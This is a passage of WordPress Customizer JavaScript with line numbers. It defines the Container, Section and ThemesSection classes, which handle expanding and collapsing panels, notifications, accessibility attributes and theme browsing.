909 * Return browser supported `transitionend` event name.
910 *
911 * @since 4.7.0
912 *
913 * @ignore
914 *
915 * @return {string|null} Normalized `transitionend` event name or null if CSS transitions are not supported.
916 */
917 normalizedTransitionendEventName = (function () {
918 var el, transitions, prop;
919 el = document.createElement( 'div' );
920 transitions = {
921 'transition' : 'transitionend',
922 'OTransition' : 'oTransitionEnd',
923 'MozTransition' : 'transitionend',
924 'WebkitTransition': 'webkitTransitionEnd'
925 };
926 prop = _.find( _.keys( transitions ), function( prop ) {
927 return ! _.isUndefined( el.style[ prop ] );
928 } );
929 if ( prop ) {
930 return transitions[ prop ];
931 } else {
932 return null;
933 }
934 })();
935
936 Container = api.Class.extend(/** @lends wp.customize~Container.prototype */{
937 defaultActiveArguments: { duration: 'fast', completeCallback: $.noop },
938 defaultExpandedArguments: { duration: 'fast', completeCallback: $.noop },
939 containerType: 'container',
940 defaults: {
941 title: '',
942 description: '',
943 priority: 100,
944 type: 'default',
945 content: null,
946 active: true,
947 instanceNumber: null
948 },
949
950 /**
951 * Base class for Panel and Section.
952 *
953 * @constructs wp.customize~Container
954 * @augments wp.customize.Class
955 *
956 * @since 4.1.0
957 *
958 * @borrows wp.customize~focus as focus
959 *
960 * @param {string} id - The ID for the container.
961 * @param {Object} options - Object containing one property: params.
962 * @param {string} options.title - Title shown when panel is collapsed and expanded.
963 * @param {string} [options.description] - Description shown at the top of the panel.
964 * @param {number} [options.priority=100] - The sort priority for the panel.
965 * @param {string} [options.templateId] - Template selector for container.
966 * @param {string} [options.type=default] - The type of the panel. See wp.customize.panelConstructor.
967 * @param {string} [options.content] - The markup to be used for the panel container. If empty, a JS template is used.
968 * @param {boolean} [options.active=true] - Whether the panel is active or not.
969 * @param {Object} [options.params] - Deprecated wrapper for the above properties.
970 */
971 initialize: function ( id, options ) {
972 var container = this;
973 container.id = id;
974
975 if ( ! Container.instanceCounter ) {
976 Container.instanceCounter = 0;
977 }
978 Container.instanceCounter++;
979
980 $.extend( container, {
981 params: _.defaults(
982 options.params || options, // Passing the params is deprecated.
983 container.defaults
984 )
985 } );
986 if ( ! container.params.instanceNumber ) {
987 container.params.instanceNumber = Container.instanceCounter;
988 }
989 container.notifications = new api.Notifications();
990 container.templateSelector = container.params.templateId || 'customize-' + container.containerType + '-' + container.params.type;
991 container.container = $( container.params.content );
992 if ( 0 === container.container.length ) {
993 container.container = $( container.getContainer() );
994 }
995 container.headContainer = container.container;
996 container.contentContainer = container.getContent();
997 container.container = container.container.add( container.contentContainer );
998
999 container.deferred = {
1000 embedded: new $.Deferred()
1001 };
1002 container.priority = new api.Value();
1003 container.active = new api.Value();
1004 container.activeArgumentsQueue = [];
1005 container.expanded = new api.Value();
1006 container.expandedArgumentsQueue = [];
1007
1008 container.active.bind( function ( active ) {
1009 var args = container.activeArgumentsQueue.shift();
1010 args = $.extend( {}, container.defaultActiveArguments, args );
1011 active = ( active && container.isContextuallyActive() );
1012 container.onChangeActive( active, args );
1013 });
1014 container.expanded.bind( function ( expanded ) {
1015 var args = container.expandedArgumentsQueue.shift();
1016 args = $.extend( {}, container.defaultExpandedArguments, args );
1017 container.onChangeExpanded( expanded, args );
1018 });
1019
1020 container.deferred.embedded.done( function () {
1021 container.setupNotifications();
1022 container.attachEvents();
1023 });
1024
1025 api.utils.bubbleChildValueChanges( container, [ 'priority', 'active' ] );
1026
1027 container.priority.set( container.params.priority );
1028 container.active.set( container.params.active );
1029 container.expanded.set( false );
1030 },
1031
1032 /**
1033 * Get the element that will contain the notifications.
1034 *
1035 * @since 4.9.0
1036 * @return {jQuery} Notification container element.
1037 */
1038 getNotificationsContainerElement: function() {
1039 var container = this;
1040 return container.contentContainer.find( '.customize-control-notifications-container:first' );
1041 },
1042
1043 /**
1044 * Set up notifications.
1045 *
1046 * @since 4.9.0
1047 * @return {void}
1048 */
1049 setupNotifications: function() {
1050 var container = this, renderNotifications;
1051 container.notifications.container = container.getNotificationsContainerElement();
1052
1053 // Render notifications when they change and when the construct is expanded.
1054 renderNotifications = function() {
1055 if ( container.expanded.get() ) {
1056 container.notifications.render();
1057 }
1058 };
1059 container.expanded.bind( renderNotifications );
1060 renderNotifications();
1061 container.notifications.bind( 'change', _.debounce( renderNotifications ) );
1062 },
1063
1064 /**
1065 * @since 4.1.0
1066 *
1067 * @abstract
1068 */
1069 ready: function() {},
1070
1071 /**
1072 * Get the child models associated with this parent, sorting them by their priority Value.
1073 *
1074 * @since 4.1.0
1075 *
1076 * @param {string} parentType
1077 * @param {string} childType
1078 * @return {Array}
1079 */
1080 _children: function ( parentType, childType ) {
1081 var parent = this,
1082 children = [];
1083 api[ childType ].each( function ( child ) {
1084 if ( child[ parentType ].get() === parent.id ) {
1085 children.push( child );
1086 }
1087 } );
1088 children.sort( api.utils.prioritySort );
1089 return children;
1090 },
1091
1092 /**
1093 * To override by subclass, to return whether the container has active children.
1094 *
1095 * @since 4.1.0
1096 *
1097 * @abstract
1098 */
1099 isContextuallyActive: function () {
1100 throw new Error( 'Container.isContextuallyActive() must be overridden in a subclass.' );
1101 },
1102
1103 /**
1104 * Active state change handler.
1105 *
1106 * Shows the container if it is active, hides it if not.
1107 *
1108 * To override by subclass, update the container's UI to reflect the provided active state.
1109 *
1110 * @since 4.1.0
1111 *
1112 * @param {boolean} active - The active state to transiution to.
1113 * @param {Object} [args] - Args.
1114 * @param {Object} [args.duration] - The duration for the slideUp/slideDown animation.
1115 * @param {boolean} [args.unchanged] - Whether the state is already known to not be changed, and so short-circuit with calling completeCallback early.
1116 * @param {Function} [args.completeCallback] - Function to call when the slideUp/slideDown has completed.
1117 */
1118 onChangeActive: function( active, args ) {
1119 var construct = this,
1120 headContainer = construct.headContainer,
1121 duration, expandedOtherPanel;
1122
1123 if ( args.unchanged ) {
1124 if ( args.completeCallback ) {
1125 args.completeCallback();
1126 }
1127 return;
1128 }
1129
1130 duration = ( 'resolved' === api.previewer.deferred.active.state() ? args.duration : 0 );
1131
1132 if ( construct.extended( api.Panel ) ) {
1133 // If this is a panel is not currently expanded but another panel is expanded, do not animate.
1134 api.panel.each(function ( panel ) {
1135 if ( panel !== construct && panel.expanded() ) {
1136 expandedOtherPanel = panel;
1137 duration = 0;
1138 }
1139 });
1140
1141 // Collapse any expanded sections inside of this panel first before deactivating.
1142 if ( ! active ) {
1143 _.each( construct.sections(), function( section ) {
1144 section.collapse( { duration: 0 } );
1145 } );
1146 }
1147 }
1148
1149 if ( ! $.contains( document, headContainer.get( 0 ) ) ) {
1150 // If the element is not in the DOM, then jQuery.fn.slideUp() does nothing.
1151 // In this case, a hard toggle is required instead.
1152 headContainer.toggle( active );
1153 if ( args.completeCallback ) {
1154 args.completeCallback();
1155 }
1156 } else if ( active ) {
1157 headContainer.slideDown( duration, args.completeCallback );
1158 } else {
1159 if ( construct.expanded() ) {
1160 construct.collapse({
1161 duration: duration,
1162 completeCallback: function() {
1163 headContainer.slideUp( duration, args.completeCallback );
1164 }
1165 });
1166 } else {
1167 headContainer.slideUp( duration, args.completeCallback );
1168 }
1169 }
1170 },
1171
1172 /**
1173 * @since 4.1.0
1174 *
1175 * @param {boolean} active
1176 * @param {Object} [params]
1177 * @return {boolean} False if state already applied.
1178 */
1179 _toggleActive: function ( active, params ) {
1180 var self = this;
1181 params = params || {};
1182 if ( ( active && this.active.get() ) || ( ! active && ! this.active.get() ) ) {
1183 params.unchanged = true;
1184 self.onChangeActive( self.active.get(), params );
1185 return false;
1186 } else {
1187 params.unchanged = false;
1188 this.activeArgumentsQueue.push( params );
1189 this.active.set( active );
1190 return true;
1191 }
1192 },
1193
1194 /**
1195 * @param {Object} [params]
1196 * @return {boolean} False if already active.
1197 */
1198 activate: function ( params ) {
1199 return this._toggleActive( true, params );
1200 },
1201
1202 /**
1203 * @param {Object} [params]
1204 * @return {boolean} False if already inactive.
1205 */
1206 deactivate: function ( params ) {
1207 return this._toggleActive( false, params );
1208 },
1209
1210 /**
1211 * To override by subclass, update the container's UI to reflect the provided active state.
1212 * @abstract
1213 */
1214 onChangeExpanded: function () {
1215 throw new Error( 'Must override with subclass.' );
1216 },
1217
1218 /**
1219 * Handle the toggle logic for expand/collapse.
1220 *
1221 * @param {boolean} expanded - The new state to apply.
1222 * @param {Object} [params] - Object containing options for expand/collapse.
1223 * @param {Function} [params.completeCallback] - Function to call when expansion/collapse is complete.
1224 * @return {boolean} False if state already applied or active state is false.
1225 */
1226 _toggleExpanded: function( expanded, params ) {
1227 var instance = this, previousCompleteCallback;
1228 params = params || {};
1229 previousCompleteCallback = params.completeCallback;
1230
1231 // Short-circuit expand() if the instance is not active.
1232 if ( expanded && ! instance.active() ) {
1233 return false;
1234 }
1235
1236 api.state( 'paneVisible' ).set( true );
1237 params.completeCallback = function() {
1238 if ( previousCompleteCallback ) {
1239 previousCompleteCallback.apply( instance, arguments );
1240 }
1241 if ( expanded ) {
1242 instance.container.trigger( 'expanded' );
1243 } else {
1244 instance.container.trigger( 'collapsed' );
1245 }
1246 };
1247 if ( ( expanded && instance.expanded.get() ) || ( ! expanded && ! instance.expanded.get() ) ) {
1248 params.unchanged = true;
1249 instance.onChangeExpanded( instance.expanded.get(), params );
1250 return false;
1251 } else {
1252 params.unchanged = false;
1253 instance.expandedArgumentsQueue.push( params );
1254 instance.expanded.set( expanded );
1255 return true;
1256 }
1257 },
1258
1259 /**
1260 * @param {Object} [params]
1261 * @return {boolean} False if already expanded or if inactive.
1262 */
1263 expand: function ( params ) {
1264 return this._toggleExpanded( true, params );
1265 },
1266
1267 /**
1268 * @param {Object} [params]
1269 * @return {boolean} False if already collapsed.
1270 */
1271 collapse: function ( params ) {
1272 return this._toggleExpanded( false, params );
1273 },
1274
1275 /**
1276 * Animate container state change if transitions are supported by the browser.
1277 *
1278 * @since 4.7.0
1279 * @private
1280 *
1281 * @param {function} completeCallback Function to be called after transition is completed.
1282 * @return {void}
1283 */
1284 _animateChangeExpanded: function( completeCallback ) {
1285 // Return if CSS transitions are not supported or if reduced motion is enabled.
1286 if ( ! normalizedTransitionendEventName || isReducedMotion ) {
1287 // Schedule the callback until the next tick to prevent focus loss.
1288 _.defer( function () {
1289 if ( completeCallback ) {
1290 completeCallback();
1291 }
1292 } );
1293 return;
1294 }
1295
1296 var construct = this,
1297 content = construct.contentContainer,
1298 overlay = content.closest( '.wp-full-overlay' ),
1299 elements, transitionEndCallback, transitionParentPane;
1300
1301 // Determine set of elements that are affected by the animation.
1302 elements = overlay.add( content );
1303
1304 if ( ! construct.panel || '' === construct.panel() ) {
1305 transitionParentPane = true;
1306 } else if ( api.panel( construct.panel() ).contentContainer.hasClass( 'skip-transition' ) ) {
1307 transitionParentPane = true;
1308 } else {
1309 transitionParentPane = false;
1310 }
1311 if ( transitionParentPane ) {
1312 elements = elements.add( '#customize-info, .customize-pane-parent' );
1313 }
1314
1315 // Handle `transitionEnd` event.
1316 transitionEndCallback = function( e ) {
1317 if ( 2 !== e.eventPhase || ! $( e.target ).is( content ) ) {
1318 return;
1319 }
1320 content.off( normalizedTransitionendEventName, transitionEndCallback );
1321 elements.removeClass( 'busy' );
1322 if ( completeCallback ) {
1323 completeCallback();
1324 }
1325 };
1326 content.on( normalizedTransitionendEventName, transitionEndCallback );
1327 elements.addClass( 'busy' );
1328
1329 // Prevent screen flicker when pane has been scrolled before expanding.
1330 _.defer( function() {
1331 var container = content.closest( '.wp-full-overlay-sidebar-content' ),
1332 currentScrollTop = container.scrollTop(),
1333 previousScrollTop = content.data( 'previous-scrollTop' ) || 0,
1334 expanded = construct.expanded();
1335
1336 if ( expanded && 0 < currentScrollTop ) {
1337 content.css( 'top', currentScrollTop + 'px' );
1338 content.data( 'previous-scrollTop', currentScrollTop );
1339 } else if ( ! expanded && 0 < currentScrollTop + previousScrollTop ) {
1340 content.css( 'top', previousScrollTop - currentScrollTop + 'px' );
1341 container.scrollTop( previousScrollTop );
1342 }
1343 } );
1344 },
1345
1346 /*
1347 * is documented using @borrows in the constructor.
1348 */
1349 focus: focus,
1350
1351 /**
1352 * Return the container html, generated from its JS template, if it exists.
1353 *
1354 * @since 4.3.0
1355 */
1356 getContainer: function () {
1357 var template,
1358 container = this;
1359
1360 if ( 0 !== $( '#tmpl-' + container.templateSelector ).length ) {
1361 template = wp.template( container.templateSelector );
1362 } else {
1363 template = wp.template( 'customize-' + container.containerType + '-default' );
1364 }
1365 if ( template && container.container ) {
1366 return template( _.extend(
1367 { id: container.id },
1368 container.params
1369 ) ).toString().trim();
1370 }
1371
1372 return '<li></li>';
1373 },
1374
1375 /**
1376 * Find content element which is displayed when the section is expanded.
1377 *
1378 * After a construct is initialized, the return value will be available via the `contentContainer` property.
1379 * By default the element will be related it to the parent container with `aria-owns` and detached.
1380 * Custom panels and sections (such as the `NewMenuSection`) that do not have a sliding pane should
1381 * just return the content element without needing to add the `aria-owns` element or detach it from
1382 * the container. Such non-sliding pane custom sections also need to override the `onChangeExpanded`
1383 * method to handle animating the panel/section into and out of view.
1384 *
1385 * @since 4.7.0
1386 * @access public
1387 *
1388 * @return {jQuery} Detached content element.
1389 */
1390 getContent: function() {
1391 var construct = this,
1392 container = construct.container,
1393 content = container.find( '.accordion-section-content, .control-panel-content' ).first(),
1394 contentId = 'sub-' + container.attr( 'id' ),
1395 ownedElements = contentId,
1396 alreadyOwnedElements = container.attr( 'aria-owns' );
1397
1398 if ( alreadyOwnedElements ) {
1399 ownedElements = ownedElements + ' ' + alreadyOwnedElements;
1400 }
1401 container.attr( 'aria-owns', ownedElements );
1402
1403 return content.detach().attr( {
1404 'id': contentId,
1405 'class': 'customize-pane-child ' + content.attr( 'class' ) + ' ' + container.attr( 'class' )
1406 } );
1407 }
1408 });
1409
1410 api.Section = Container.extend(/** @lends wp.customize.Section.prototype */{
1411 containerType: 'section',
1412 containerParent: '#customize-theme-controls',
1413 containerPaneParent: '.customize-pane-parent',
1414 defaults: {
1415 title: '',
1416 description: '',
1417 priority: 100,
1418 type: 'default',
1419 content: null,
1420 active: true,
1421 instanceNumber: null,
1422 panel: null,
1423 customizeAction: ''
1424 },
1425
1426 /**
1427 * @constructs wp.customize.Section
1428 * @augments wp.customize~Container
1429 *
1430 * @since 4.1.0
1431 *
1432 * @param {string} id - The ID for the section.
1433 * @param {Object} options - Options.
1434 * @param {string} options.title - Title shown when section is collapsed and expanded.
1435 * @param {string} [options.description] - Description shown at the top of the section.
1436 * @param {number} [options.priority=100] - The sort priority for the section.
1437 * @param {string} [options.type=default] - The type of the section. See wp.customize.sectionConstructor.
1438 * @param {string} [options.content] - The markup to be used for the section container. If empty, a JS template is used.
1439 * @param {boolean} [options.active=true] - Whether the section is active or not.
1440 * @param {string} options.panel - The ID for the panel this section is associated with.
1441 * @param {string} [options.customizeAction] - Additional context information shown before the section title when expanded.
1442 * @param {Object} [options.params] - Deprecated wrapper for the above properties.
1443 */
1444 initialize: function ( id, options ) {
1445 var section = this, params;
1446 params = options.params || options;
1447
1448 // Look up the type if one was not supplied.
1449 if ( ! params.type ) {
1450 _.find( api.sectionConstructor, function( Constructor, type ) {
1451 if ( Constructor === section.constructor ) {
1452 params.type = type;
1453 return true;
1454 }
1455 return false;
1456 } );
1457 }
1458
1459 Container.prototype.initialize.call( section, id, params );
1460
1461 section.id = id;
1462 section.panel = new api.Value();
1463 section.panel.bind( function ( id ) {
1464 $( section.headContainer ).toggleClass( 'control-subsection', !! id );
1465 });
1466 section.panel.set( section.params.panel || '' );
1467 api.utils.bubbleChildValueChanges( section, [ 'panel' ] );
1468
1469 section.embed();
1470 section.deferred.embedded.done( function () {
1471 section.ready();
1472 });
1473 },
1474
1475 /**
1476 * Embed the container in the DOM when any parent panel is ready.
1477 *
1478 * @since 4.1.0
1479 */
1480 embed: function () {
1481 var inject,
1482 section = this;
1483
1484 section.containerParent = api.ensure( section.containerParent );
1485
1486 // Watch for changes to the panel state.
1487 inject = function ( panelId ) {
1488 var parentContainer;
1489 if ( panelId ) {
1490 // The panel has been supplied, so wait until the panel object is registered.
1491 api.panel( panelId, function ( panel ) {
1492 // The panel has been registered, wait for it to become ready/initialized.
1493 panel.deferred.embedded.done( function () {
1494 parentContainer = panel.contentContainer;
1495 if ( ! section.headContainer.parent().is( parentContainer ) ) {
1496 parentContainer.append( section.headContainer );
1497 }
1498 if ( ! section.contentContainer.parent().is( section.headContainer ) ) {
1499 section.containerParent.append( section.contentContainer );
1500 }
1501 section.deferred.embedded.resolve();
1502 });
1503 } );
1504 } else {
1505 // There is no panel, so embed the section in the root of the customizer.
1506 parentContainer = api.ensure( section.containerPaneParent );
1507 if ( ! section.headContainer.parent().is( parentContainer ) ) {
1508 parentContainer.append( section.headContainer );
1509 }
1510 if ( ! section.contentContainer.parent().is( section.headContainer ) ) {
1511 section.containerParent.append( section.contentContainer );
1512 }
1513 section.deferred.embedded.resolve();
1514 }
1515 };
1516 section.panel.bind( inject );
1517 inject( section.panel.get() ); // Since a section may never get a panel, assume that it won't ever get one.
1518 },
1519
1520 /**
1521 * Add behaviors for the accordion section.
1522 *
1523 * @since 4.1.0
1524 */
1525 attachEvents: function () {
1526 var meta, content, section = this;
1527
1528 if ( section.container.hasClass( 'cannot-expand' ) ) {
1529 return;
1530 }
1531
1532 // Expand/Collapse accordion sections on click.
1533 section.container.find( '.accordion-section-title button, .customize-section-back, .accordion-section-title[tabindex]' ).on( 'click keydown', function( event ) {
1534 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
1535 return;
1536 }
1537 event.preventDefault(); // Keep this AFTER the key filter above.
1538
1539 if ( section.expanded() ) {
1540 section.collapse();
1541 } else {
1542 section.expand();
1543 }
1544 });
1545
1546 // This is very similar to what is found for api.Panel.attachEvents().
1547 section.container.find( '.customize-section-title .customize-help-toggle' ).on( 'click', function() {
1548
1549 meta = section.container.find( '.section-meta' );
1550 if ( meta.hasClass( 'cannot-expand' ) ) {
1551 return;
1552 }
1553 content = meta.find( '.customize-section-description:first' );
1554 content.toggleClass( 'open' );
1555 content.slideToggle( section.defaultExpandedArguments.duration, function() {
1556 content.trigger( 'toggled' );
1557 } );
1558 $( this ).attr( 'aria-expanded', function( i, attr ) {
1559 return 'true' === attr ? 'false' : 'true';
1560 });
1561 });
1562 },
1563
1564 /**
1565 * Return whether this section has any active controls.
1566 *
1567 * @since 4.1.0
1568 *
1569 * @return {boolean}
1570 */
1571 isContextuallyActive: function () {
1572 var section = this,
1573 controls = section.controls(),
1574 activeCount = 0;
1575 _( controls ).each( function ( control ) {
1576 if ( control.active() ) {
1577 activeCount += 1;
1578 }
1579 } );
1580 return ( activeCount !== 0 );
1581 },
1582
1583 /**
1584 * Get the controls that are associated with this section, sorted by their priority Value.
1585 *
1586 * @since 4.1.0
1587 *
1588 * @return {Array}
1589 */
1590 controls: function () {
1591 return this._children( 'section', 'control' );
1592 },
1593
1594 /**
1595 * Update UI to reflect expanded state.
1596 *
1597 * @since 4.1.0
1598 *
1599 * @param {boolean} expanded
1600 * @param {Object} args
1601 */
1602 onChangeExpanded: function ( expanded, args ) {
1603 var section = this,
1604 container = section.headContainer.closest( '.wp-full-overlay-sidebar-content' ),
1605 content = section.contentContainer,
1606 overlay = section.headContainer.closest( '.wp-full-overlay' ),
1607 backBtn = content.find( '.customize-section-back' ),
1608 sectionTitle = section.headContainer.find( '.accordion-section-title button, .accordion-section-title[tabindex]' ).first(),
1609 expand, panel;
1610
1611 if ( expanded && ! content.hasClass( 'open' ) ) {
1612
1613 if ( args.unchanged ) {
1614 expand = args.completeCallback;
1615 } else {
1616 expand = function() {
1617 section._animateChangeExpanded( function() {
1618 backBtn.attr( 'tabindex', '0' );
1619 backBtn.trigger( 'focus' );
1620 content.css( 'top', '' );
1621 container.scrollTop( 0 );
1622
1623 if ( args.completeCallback ) {
1624 args.completeCallback();
1625 }
1626 } );
1627
1628 content.addClass( 'open' );
1629 overlay.addClass( 'section-open' );
1630 api.state( 'expandedSection' ).set( section );
1631 }.bind( this );
1632 }
1633
1634 if ( ! args.allowMultiple ) {
1635 api.section.each( function ( otherSection ) {
1636 if ( otherSection !== section ) {
1637 otherSection.collapse( { duration: args.duration } );
1638 }
1639 });
1640 }
1641
1642 if ( section.panel() ) {
1643 api.panel( section.panel() ).expand({
1644 duration: args.duration,
1645 completeCallback: expand
1646 });
1647 } else {
1648 if ( ! args.allowMultiple ) {
1649 api.panel.each( function( panel ) {
1650 panel.collapse();
1651 });
1652 }
1653 expand();
1654 }
1655
1656 } else if ( ! expanded && content.hasClass( 'open' ) ) {
1657 if ( section.panel() ) {
1658 panel = api.panel( section.panel() );
1659 if ( panel.contentContainer.hasClass( 'skip-transition' ) ) {
1660 panel.collapse();
1661 }
1662 }
1663 section._animateChangeExpanded( function() {
1664 backBtn.attr( 'tabindex', '-1' );
1665 sectionTitle.trigger( 'focus' );
1666 content.css( 'top', '' );
1667
1668 if ( args.completeCallback ) {
1669 args.completeCallback();
1670 }
1671 } );
1672
1673 content.removeClass( 'open' );
1674 overlay.removeClass( 'section-open' );
1675 if ( section === api.state( 'expandedSection' ).get() ) {
1676 api.state( 'expandedSection' ).set( false );
1677 }
1678
1679 } else {
1680 if ( args.completeCallback ) {
1681 args.completeCallback();
1682 }
1683 }
1684 }
1685 });
1686
1687 api.ThemesSection = api.Section.extend(/** @lends wp.customize.ThemesSection.prototype */{
1688 currentTheme: '',
1689 overlay: '',
1690 template: '',
1691 screenshotQueue: null,
1692 $window: null,
1693 $body: null,
1694 loaded: 0,
1695 loading: false,
1696 fullyLoaded: false,
1697 term: '',
1698 tags: '',
1699 nextTerm: '',
1700 nextTags: '',
1701 filtersHeight: 0,
1702 headerContainer: null,
1703 updateCountDebounced: null,
1704
1705 /**
1706 * wp.customize.ThemesSection
1707 *
1708 * Custom section for themes that loads themes by category, and also
1709 * handles the theme-details view rendering and navigation.
1710 *
1711 * @constructs wp.customize.ThemesSection
1712 * @augments wp.customize.Section
1713 *
1714 * @since 4.9.0
1715 *
1716 * @param {string} id - ID.
1717 * @param {Object} options - Options.
1718 * @return {void}
1719 */
1720 initialize: function( id, options ) {
1721 var section = this;
1722 section.headerContainer = $();
1723 section.$window = $( window );
1724 section.$body = $( document.body );
1725 api.Section.prototype.initialize.call( section, id, options );
1726 section.updateCountDebounced = _.debounce( section.updateCount, 500 );
1727 },
1728
1729 /**
1730 * Embed the section in the DOM when the themes panel is ready.
1731 *
1732 * Insert the section before the themes container. Assume that a themes section is within a panel, but not necessarily the themes panel.
1733 *
1734 * @since 4.9.0
1735 */
1736 embed: function() {
1737 var inject,
1738 section = this;
1739
1740 // Watch for changes to the panel state.
1741 inject = function( panelId ) {
1742 var parentContainer;
1743 api.panel( panelId, function( panel ) {
1744
1745 // The panel has been registered, wait for it to become ready/initialized.
1746 panel.deferred.embedded.done( function() {
1747 parentContainer = panel.contentContainer;
1748 if ( ! section.headContainer.parent().is( parentContainer ) ) {
1749 parentContainer.find( '.customize-themes-full-container-container' ).before( section.headContainer );
1750 }
1751 if ( ! section.contentContainer.parent().is( section.headContainer ) ) {
1752 section.containerParent.append( section.contentContainer );
1753 }
1754 section.deferred.embedded.resolve();
1755 });
1756 } );
1757 };
1758 section.panel.bind( inject );
1759 inject( section.panel.get() ); // Since a section may never get a panel, assume that it won't ever get one.
1760 },
1761
1762 /**
1763 * Set up.
1764 *
1765 * @since 4.2.0
1766 *
1767 * @return {void}
1768 */
1769 ready: function() {
1770 var section = this;
1771 section.overlay = section.container.find( '.theme-overlay' );
1772 section.template = wp.template( 'customize-themes-details-view' );
1773
1774 // Bind global keyboard events.
1775 section.container.on( 'keydown', function( event ) {
1776 if ( ! section.overlay.find( '.theme-wrap' ).is( ':visible' ) ) {
1777 return;
1778 }
1779
1780 // Pressing the right arrow key fires a theme:next event.
1781 if ( 39 === event.keyCode ) {
1782 section.nextTheme();
1783 }
1784
1785 // Pressing the left arrow key fires a theme:previous event.
1786 if ( 37 === event.keyCode ) {
1787 section.previousTheme();
1788 }
1789
1790 // Pressing the escape key fires a theme:collapse event.
1791 if ( 27 === event.keyCode ) {
1792 if ( section.$body.hasClass( 'modal-open' ) ) {
1793
1794 // Escape from the details modal.
1795 section.closeDetails();
1796 } else {
1797
1798 // Escape from the infinite scroll list.
1799 section.headerContainer.find( '.customize-themes-section-title' ).focus();
1800 }
1801 event.stopPropagation(); // Prevent section from being collapsed.
1802 }
1803 });
1804
1805 section.renderScreenshots = _.throttle( section.renderScreenshots, 100 );
1806
1807 _.bindAll( section, 'renderScreenshots', 'loadMore', 'checkTerm', 'filtersChecked' );
1808 },
1809
1810 /**
1811 * Override Section.isContextuallyActive method.
1812 *
1813 * Ignore the active states' of the contained theme controls, and just
1814 * use the section's own active state instead. This prevents empty search
1815 * results for theme sections from causing the section to become inactive.
1816 *
1817 * @since 4.2.0
1818 *
1819 * @return {boolean}
1820 */
1821 isContextuallyActive: function () {
1822 return this.active();
1823 },
1824
1825 /**
1826 * Attach events.
1827 *
1828 * @since 4.2.0
1829 *
1830 * @return {void}
1831 */
1832 attachEvents: function () {
1833 var section = this, debounced;
1834
1835 // Expand/Collapse accordion sections on click.
1836 section.container.find( '.customize-section-back' ).on( 'click keydown', function( event ) {
1837 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
1838 return;
1839 }
1840 event.preventDefault(); // Keep this AFTER the key filter above.
1841 section.collapse();
1842 });
1843
1844 section.headerContainer = $( '#accordion-section-' + section.id );
1845
1846 // Expand section/panel. Only collapse when opening another section.
1847 section.headerContainer.on( 'click', '.customize-themes-section-title', function() {
1848
1849 // Toggle accordion filters under section headers.
1850 if ( section.headerContainer.find( '.filter-details' ).length ) {
1851 section.headerContainer.find( '.customize-themes-section-title' )
1852 .toggleClass( 'details-open' )
1853 .attr( 'aria-expanded', function( i, attr ) {
1854 return 'true' === attr ? 'false' : 'true';
1855 });
1856 section.headerContainer.find( '.filter-details' ).slideToggle( 180 );
1857 }
1858
1859 // Open the section.
1860 if ( ! section.expanded() ) {
1861 section.expand();
1862 }
1863 });
1864
1865 // Preview installed themes.
1866 section.container.on( 'click', '.theme-actions .preview-theme', function() {
1867 api.panel( 'themes' ).loadThemePreview( $( this ).data( 'slug' ) );
1868 });
1869
1870 // Theme navigation in details view.
1871 section.container.on( 'click', '.left', function() {
1872 section.previousTheme();
1873 });
1874
1875 section.container.on( 'click', '.right', function() {
1876 section.nextTheme();
1877 });
1878
1879 section.container.on( 'click', '.theme-backdrop, .close', function() {
1880 section.closeDetails();
1881 });
1882
1883 if ( 'local' === section.params.filter_type ) {
1884
1885 // Filter-search all theme objects loaded in the section.
1886 section.container.on( 'input', '.wp-filter-search-themes', function( event ) {
1887 section.filterSearch( event.currentTarget.value );
1888 });
1889
1890 } else if ( 'remote' === section.params.filter_type ) {
1891
1892 // Event listeners for remote queries with user-entered terms.
1893 // Search terms.
1894 debounced = _.debounce( section.checkTerm, 500 ); // Wait until there is no input for 500 milliseconds to initiate a search.
1895 section.contentContainer.on( 'input', '.wp-filter-search', function() {
1896 if ( ! api.panel( 'themes' ).expanded() ) {
1897 return;
1898 }
1899 debounced( section );
1900 if ( ! section.expanded() ) {
1901 section.expand();
1902 }
1903 });
1904
1905 // Feature filters.
1906 section.contentContainer.on( 'click', '.filter-group input', function() {
1907 section.filtersChecked();
1908 section.checkTerm( section );
1909 });
1910 }
1911
1912 // Toggle feature filters.
1913 section.contentContainer.on( 'click', '.feature-filter-toggle', function( e ) {
1914 var $themeContainer = $( '.customize-themes-full-container' ),
1915 $filterToggle = $( e.currentTarget );
1916 section.filtersHeight = $filterToggle.parents( '.themes-filter-bar' ).next( '.filter-drawer' ).height();
1917
1918 if ( 0 < $themeContainer.scrollTop() ) {
1919 $themeContainer.animate( { scrollTop: 0 }, 400 );
1920
1921 if ( $filterToggle.hasClass( 'open' ) ) {
1922 return;
1923 }
1924 }
1925
1926 $filterToggle
1927 .toggleClass( 'open' )
1928 .attr( 'aria-expanded', function( i, attr ) {
1929 return 'true' === attr ? 'false' : 'true';
1930 })
1931 .parents( '.themes-filter-bar' ).next( '.filter-drawer' ).slideToggle( 180, 'linear' );
1932
1933 if ( $filterToggle.hasClass( 'open' ) ) {
1934 var marginOffset = 1018 < window.innerWidth ? 50 : 76;
1935
1936 section.contentContainer.find( '.themes' ).css( 'margin-top', section.filtersHeight + marginOffset );
1937 } else {
1938 section.contentContainer.find( '.themes' ).css( 'margin-top', 0 );
1939 }
1940 });
1941
1942 // Setup section cross-linking.
1943 section.contentContainer.on( 'click', '.no-themes-local .search-dotorg-themes', function() {
1944 api.section( 'wporg_themes' ).focus();
1945 });
1946
1947 function updateSelectedState() {
1948 var el = section.headerContainer.find( '.customize-themes-section-title' );
1949 el.toggleClass( 'selected', section.expanded() );
1950 el.attr( 'aria-expanded', section.expanded() ? 'true' : 'false' );
1951 if ( ! section.expanded() ) {
1952 el.removeClass( 'details-open' );
1953 }
1954 }
1955 section.expanded.bind( updateSelectedState );
1956 updateSelectedState();
1957
1958 // Move section controls to the themes area.
1959 api.bind( 'ready', function () {
1960 section.contentContainer = section.container.find( '.customize-themes-section' );
1961 section.contentContainer.appendTo( $( '.customize-themes-full-container' ) );
1962 section.container.add( section.headerContainer );
1963 });
1964 },
1965
1966 /**
1967 * Update UI to reflect expanded state
1968 *
1969 * @since 4.2.0
1970 *
1971 * @param {boolean} expanded
1972 * @param {Object} args
1973 * @param {boolean} args.unchanged
1974 * @param {Function} args.completeCallback
1975 * @return {void}
1976 */
1977 onChangeExpanded: function ( expanded, args ) {
1978
1979 // Note: there is a second argument 'args' passed.
1980 var section = this,
1981 container = section.contentContainer.closest( '.customize-themes-full-container' );
1982
1983 // Immediately call the complete callback if there were no changes.
1984 if ( args.unchanged ) {
1985 if ( args.completeCallback ) {
1986 args.completeCallback();
